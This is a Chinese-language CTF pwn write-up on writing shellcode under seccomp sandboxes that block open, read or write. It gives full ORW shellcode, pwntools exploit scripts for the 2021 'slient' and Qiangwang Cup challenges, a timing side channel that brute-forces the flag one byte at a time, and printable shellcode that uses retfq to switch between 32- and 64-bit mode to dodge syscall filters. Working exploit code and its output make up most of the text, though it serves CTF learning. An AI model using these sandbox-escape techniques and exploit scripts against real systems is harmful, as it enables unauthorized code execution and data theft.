序章
......
普通 ORW
- 32 位
; "/home/orw/flag\x00" 保存到栈上
; 小端序
; 要注意给字符串结尾加上 '\x00'
push 0x006761
push 0x6c662f77
push 0x726f2f65
push 0x6d6f682f
; open("/home/orw/flag", O_RDONLY)
; #define O_RDONLY 0
mov eax,5 ; open() 系统调用号是 5
mov ebx,esp ; "/home/orw/flag"
xor ecx,ecx ; O_RDONLY = 0
xor edx,edx
int 0x80 ; int 80h 会报错
; 返回 fd 保存到 eax 中
; read(fd, buf, count)
mov ebx,eax ; fd
mov eax,3 ; read() 的系统调用号是 3
mov ecx,esp ; buf
mov edx,0x30 ; count
int 0x80
; write(fd, buf, count)
mov eax,4 ; write() 的系统调用号是 4
mov ebx,1 ; fd=1, write到标准输出
mov ecx,esp ; buf
mov edx,0x30 ; count
int 0x80
- 64 位
(1). 版本一
; open("flag", 0)
0: 68 66 6c 61 67 push 0x67616c66
5: 6a 02 push 0x2
7: 58 pop rax
8: 48 89 e7 mov rdi,rsp
b: 48 31 f6 xor rsi,rsi
e: 0f 05 syscall
; read(fd, rsp, 0x20)
10: 48 89 c7 mov rdi,rax
13: 48 31 c0 xor rax,rax
16: 48 89 e6 mov rsi,rsp
19: 6a 20 push 0x20
1b: 5a pop rdx
1c: 0f 05 syscall
; write(1, rsp, 0x20)
1e: 6a 01 push 0x1
20: 58 pop rax
21: 6a 01 push 0x1
23: 5f pop rdi
24: 48 89 e6 mov rsi,rsp
27: 6a 20 push 0x20
29: 5a pop rdx
2a: 0f 05 syscall
(2). 版本二
/* push b'flag\x00' */
push 0x67616c66
/* call open('rsp', 0, 'O_RDONLY') */
push (2) /* 2 */
pop rax
mov rdi, rsp
xor esi, esi /* 0 */
cdq /* rdx=0 */
syscall
/* call sendfile(1, 'rax', 0, 2147483647) */
mov r10d, 0x7fffffff
mov rsi, rax
push (40) /* 0x28 */
pop rax
push 1
pop rdi
cdq /* rdx=0 */
syscall
OR 缺 W (例题: 2021-蓝帽杯初赛-slient)
- 文件
链接:https://pan.baidu.com/s/1EiiZNv5GgSX5t9d4eSKQcA
提取码:a6gt
- 程序分析
blog@blog-virtual-machine:~/Desktop/PWN/slient$ checksec chall
[*] '/home/blog/Desktop/PWN/slient/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
root@blog-virtual-machine:/home/blog/Desktop/PWN/slient# seccomp-tools dump ./chall
Welcome to silent execution-box.
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x01 0x00 0x00000000 if (A == read) goto 0007
0006: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL
允许的系统调用只有 read 和 open。
......
// 逆向代码片段
puts("Welcome to silent execution-box.");
v3 = getpagesize();
// 利用 mmap 函数在 0x10000 处开辟一个 page 的空间
v9 = (int)mmap((void *)0x1000, v3, 7, 34, 0, 0LL);
read(0, &buf, 0x40uLL);
// 设置沙盒
prctl(38, 1LL, 0LL, 0LL, 0LL);
prctl(4, 0LL);
v8 = seccomp_init(0LL);
seccomp_rule_add(v8, 2147418112LL, 2LL, 0LL);
seccomp_rule_add(v8, 2147418112LL, 0LL, 0LL);
seccomp_load(v8);
// 往 &buf 中读入 0x40 字节数据
// 然后执行这段数据
v4 = buf;
......
*(_OWORD *)v9 = v4;
((void (__fastcall *)(__int64, __int64, __int64))v9)(0xDEADBEEFLL, 0xDEADBEEFLL, 0xDEADBEEFLL);
return 0LL;
}
// about mmap (link: https://man7.org/linux/man-pages/man2/mmap.2.html)
// 1. SYNOPSIS
#include <sys/mman.h>
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
/* 2. DESCRIPTION
mmap() creates a new mapping in the virtual address space of the
calling process. The starting address for the new mapping is
specified in addr. The length argument specifies the length of
the mapping (which must be greater than 0).
If addr is NULL, then the kernel chooses the (page-aligned)
address at which to create the mapping; this is the most portable
method of creating a new mapping. If addr is not NULL, then the
kernel takes it as a hint about where to place the mapping; on
Linux, the kernel will pick a nearby page boundary (but always
above or equal to the value specified by
/proc/sys/vm/mmap_min_addr) and attempt to create the mapping
there. If another mapping already exists there, the kernel picks
a new address that may or may not depend on the hint. The
address of the new mapping is returned as the result of the call.
......
*/
由 on Linux, the kernel will pick a nearby page boundary (but always above or equal to the value specified by /proc/sys/vm/mmap_min_addr) 可知:Linux 为 mmap 分配虚拟内存时,总是从最接近 addr 的页边缘开始的,而且保证地址不低于 /proc/sys/vm/mmap_min_addr 所指定的值。
可以看到,mmap_min_addr = 65536 = 0x10000,因此刚才判断程序利用 mmap 函数在 0x10000 处开辟一个 page 的空间。
root@blog-virtual-machine:/home/blog/Desktop/PWN/slient# cat /proc/sys/vm/mmap_min_addr
65536
- 思路
既然不能write,便只能用open函数打开 flag 文件后将其中保存的 flag 用read函数读取出来,再逐字节遍历,与所有的打印字符用cmp进行比较,一个一个字节地爆破出来。详见 EXP。 - EXP
注:在本地运行时需要自备 flag。
from pwn import *
import time
context(arch = "amd64", os = "linux")#, log_level = "debug")
# 判断第 index 个字符是否是 ch
def pwn(p, index, ch):
# 运行时需要去掉 shellcode 中的注释
shellcode = """
; open(0x10039, 0)
; 0x10039 这个地址存放文件名
; fd 存放在 rax
push 0x10039
pop rdi
xor esi, esi
push 2
pop rax
syscall
; read(fd, 0x10040, 0x50)
mov rdi, rax
xor eax, eax
push 0x50
pop rdx
push 0x10040
pop rsi
syscall
; 此时 rsi 存放的即为保存 flag 的地址
; 检查 flag[index] 是否等于 ch
; 若相等便卡在这个循环里面
loop:
cmp byte ptr[rsi+{0}], {1}
jz loop
ret
""".format(index, ch)
# 在这里写入文件名
payload = asm(shellcode).ljust(0x40-7, 'a') + './flag\x00'
p.sendafter("Welcome to silent execution-box.\n", payload)
flag = ""
index = 0
last = 'a'
while True:
# 逐字符爆破
update = False
# 对于每个字符,遍历所有打印字符 (ascii 码从 32 到 127)
for ch in range(32,127):
sh = process("./chall")
# 远程比较容易断,可以多次连接
'''
for i in range(10):
try:
sh = remote("1.1.1.1", "11111")
break
except:
sleep(3)
continue
'''
pwn(sh, index, ch)
start = time.time()
try:
sh.recv(timeout=2)
except:
pass
end = time.time()
sh.close()
# 测试接收时延,超过一定时限则说明在 pwn() 函数中插入 shellcode 后卡循环了,即 flag 中的第 index 个字符是 ch
if(end-start > 1.5):
flag += chr(ch)
last = chr(ch)
update = True
print("[ flag + 1 !!! ] " + flag)
break
assert(update == True)
if(last == '}'):
break
index += 1
print("flag: " + flag)
- 结果
.......
[+] Starting local process './chall': pid 74827
[*] Process './chall' stopped with exit code -31 (SIGSYS) (pid 74827)
[+] Starting local process './chall': pid 74834
[*] Process './chall' stopped with exit code -31 (SIGSYS) (pid 74834)
[+] Starting local process './chall': pid 74841
[*] Process './chall' stopped with exit code -31 (SIGSYS) (pid 74841)
[+] Starting local process './chall': pid 74848
[*] Process './chall' stopped with exit code -31 (SIGSYS) (pid 74848)
[+] Starting local process './chall': pid 74855
[*] Stopped process './chall' (pid 74855)
[ flag + 1 !!! ] flag{k33p_qu14t!}
flag: flag{k33p_qu14t!}
RW 缺 O
参考资料:shellcode 的艺术
详情请看文章中的 “六、禁用了system和open,还限制了shellcode字符”,里面用 ex 师傅的一道题目为例。
在 ex 师傅的这道题中,程序是 64 位的,禁用了 open 函数,但是允许调用 fstat 函数(该函数的 64 位系统调用号为 5,这个是 open 函数的 32 位系统调用号)。因此,这道题的基本思路就是利用 retfq 汇编指令进行 32 位和 64 位系统格式之间的切换,在 32 位格式下执行 open 函数打开 flag 文件,在 64 位格式下执行输入输出。
而且,由于这道题限制输入的 shellcode 必须是可打印字符,在写 shellcode 的时候还需要使用一些技巧,基本思路就是:对于一些(对应的字节码是不可打印字符)的汇编指令,利用可打印字符之间的算术操作(主要是异或)来获取。具体可以参考文章中的 “三、限制字符”。
下面是文章中的代码,自己加了一点注释:
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./shellcode')
# p = remote("nc.eonew.cn","10011")
p.recvuntil("shellcode: ")
append_x86 = '''
push ebx
pop ebx
'''
append = '''
/* 机器码: 52 5a */
push rdx
pop rdx
'''
shellcode_x86 = '''
/*fp = open("flag")*/
mov esp,0x40404140
/* s = "flag" */
push 0x67616c66
/* ebx = &s */
push esp
pop ebx
/* ecx = 0 */
xor ecx,ecx
mov eax,5
int 0x80
mov ecx,eax
'''
shellcode_flag = '''
/* retfq: mode_32 -> mode_64*/
push 0x33
push 0x40404089
retfq
/*read(fp,buf,0x70)*/
mov rdi,rcx
mov rsi,rsp
mov rdx,0x70
xor rax,rax
syscall
/*write(1,buf,0x70)*/
mov rdi,1
mov rax,1
syscall
'''
shellcode_x86 = asm(shellcode_x86)
shellcode_flag = asm(shellcode_flag, arch = 'amd64', os = 'linux')
shellcode = ''
# 0x40404040 为32位shellcode地址
shellcode_mmap = '''
/*mmap(0x40404040,0x7e,7,34,0,0)*/
push 0x40404040 /*set rdi*/
pop rdi
push 0x7e /*set rsi*/
pop rsi
push 0x40 /*set rdx*/
pop rax
xor al,0x47
push rax
pop rdx
push 0x40 /*set r8*/
pop rax
xor al,0x40
push rax
pop r8
push rax /*set r9*/
pop r9
/*syscall*/
/* syscall 的机器码是 0f 05, 都是不可打印字符. */
/* 用异或运算来解决这个问题: 0x0f = 0x5d^0x52, 0x05 = 0x5f^0x5a. */
/* 其中 0x52,0x5a 由 append 提供. */
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x31],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x32],cl
push 0x22 /*set rcx*/
pop rcx
push 0x40/*set rax*/
pop rax
xor al,0x49
'''
shellcode_read = '''
/*read(0,0x40404040,0x70)*/
push 0x40404040 /*set rsi*/
pop rsi
push 0x40 /*set rdi*/
pop rax
xor al,0x40
push rax
pop rdi
xor al,0x40 /*set rdx*/
push 0x70
pop rdx
/*syscall*/
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x57],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x58],cl
push rdx /*set rax*/
pop rax
xor al,0x70
'''
shellcode_retfq = '''
/*mode_64 -> mode_32*/
push rbx
pop rax
xor al,0x40
push 0x72
pop rcx
xor byte ptr[rax+0x40],cl
push 0x68
pop rcx
xor byte ptr[rax+0x40],cl
push 0x47
pop rcx
sub byte ptr[rax+0x41],cl
push 0x48
pop rcx
sub byte ptr[rax+0x41],cl
push rdi
push rdi
push 0x23
push 0x40404040
pop rax
push rax
'''
# mmap
shellcode += shellcode_mmap
shellcode += append
# read shellcode
shellcode += shellcode_read
shellcode += append
# mode_64 -> mode_32
shellcode += shellcode_retfq
shellcode += append
shellcode = asm(shellcode,arch = 'amd64',os = 'linux')
print hex(len(shellcode))
#gdb.attach(p,"b *0x40027f\nb*0x4002eb\nc\nc\nsi\n")
p.sendline(shellcode)
pause()
p.sendline(shellcode_x86 + 0x29*'\x90' + shellcode_flag)
p.interactive()
R 缺 OW (例题: 2021-强网杯-初赛-shellcode)
这道题其实就是 "R 缺 OW",上面两种情况的融合怪。
- 文件
链接:https://pan.baidu.com/s/1ESSSPWNVVF48lpJdi7rc1A
提取码:pidw
- exp
#coding:utf-8
from pwn import *
import time
# context.log_level = 'debug'
append_x86 = '''
push ebx
pop ebx
'''
append = '''
push rdx
pop rdx
'''
shellcode_x86 = '''
/*fp = open("flag")*/
mov esp,0x40404140
/* s = "flag" */
push 0x67616c66
/* ebx = &s */
push esp
pop ebx
/* ecx = 0 */
xor ecx,ecx
mov eax,5
int 0x80
mov ecx,eax
'''
shellcode_x86 = asm(shellcode_x86)
shellcode_mmap = '''
/*mmap(0x40404040,0x7e,7,34,0,0)*/
push 0x40404040 /*set rdi*/
pop rdi
push 0x7e /*set rsi*/
pop rsi
push 0x40 /*set rdx*/
pop rax
xor al,0x47
push rax
pop rdx
push 0x40 /*set r8*/
pop rax
xor al,0x40
push rax
pop r8
push rax /*set r9*/
pop r9
/*syscall*/
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x31],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x32],cl
push 0x22 /*set rcx*/
pop rcx
push 0x40/*set rax*/
pop rax
xor al,0x49
'''
shellcode_read = '''
/*read(0,0x40404040,0x70)*/
push 0x40404040 /*set rsi*/
pop rsi
push 0x40 /*set rdi*/
pop rax
xor al,0x40
push rax
pop rdi
xor al,0x40 /*set rdx*/
push 0x70
pop rdx
/*syscall*/
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x57],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x58],cl
push rdx /*set rax*/
pop rax
xor al,0x70
'''
shellcode_retfq = '''
/*mode_64 -> mode_32*/
push rbx
pop rax
xor al,0x40
push 0x72
pop rcx
xor byte ptr[rax+0x40],cl
push 0x68
pop rcx
xor byte ptr[rax+0x40],cl
push 0x47
pop rcx
sub byte ptr[rax+0x41],cl
push 0x48
pop rcx
sub byte ptr[rax+0x41],cl
push rdi
push rdi
push 0x23
push 0x40404040
pop rax
push rax
'''
def pwn(p, index, ch):
shellcode = ''
# mmap
shellcode += shellcode_mmap
shellcode += append
# read shellcode
shellcode += shellcode_read
shellcode += append
# mode_64 -> mode_32
shellcode += shellcode_retfq
shellcode += append
shellcode = asm(shellcode,arch = 'amd64',os = 'linux')
#print hex(len(shellcode))
p.sendline(shellcode)
time.sleep(0.05)
shellcode_flag ="""
push 0x33
push 0x40404089
retfq
/*read(fp,buf,0x70)*/
mov rdi,rcx
mov rsi,rsp
mov rdx,0x70
xor rax,rax
syscall
loop:
cmp byte ptr[rsi+{0}], {1}
jz loop
ret
""".format(index, ch)
shellcode_flag = asm(shellcode_flag,arch = 'amd64',os = 'linux')
p.sendline(shellcode_x86 + 0x29*'\x90' + shellcode_flag)
flag = ""
index = 0
last = 'a'
while True:
update = False
for ch in range(32,127):
sh = process("./shellcode")
pwn(sh, index, ch)
start = time.time()
try:
sh.recv(timeout=2)
except:
pass
end = time.time()
sh.close()
if(end-start > 1.5):
flag += chr(ch)
last = chr(ch)
update = True
print("[ flag + 1 !!! ] " + flag)
break
assert(update == True)
if(last == '}'):
break
index += 1
print("flag: " + flag)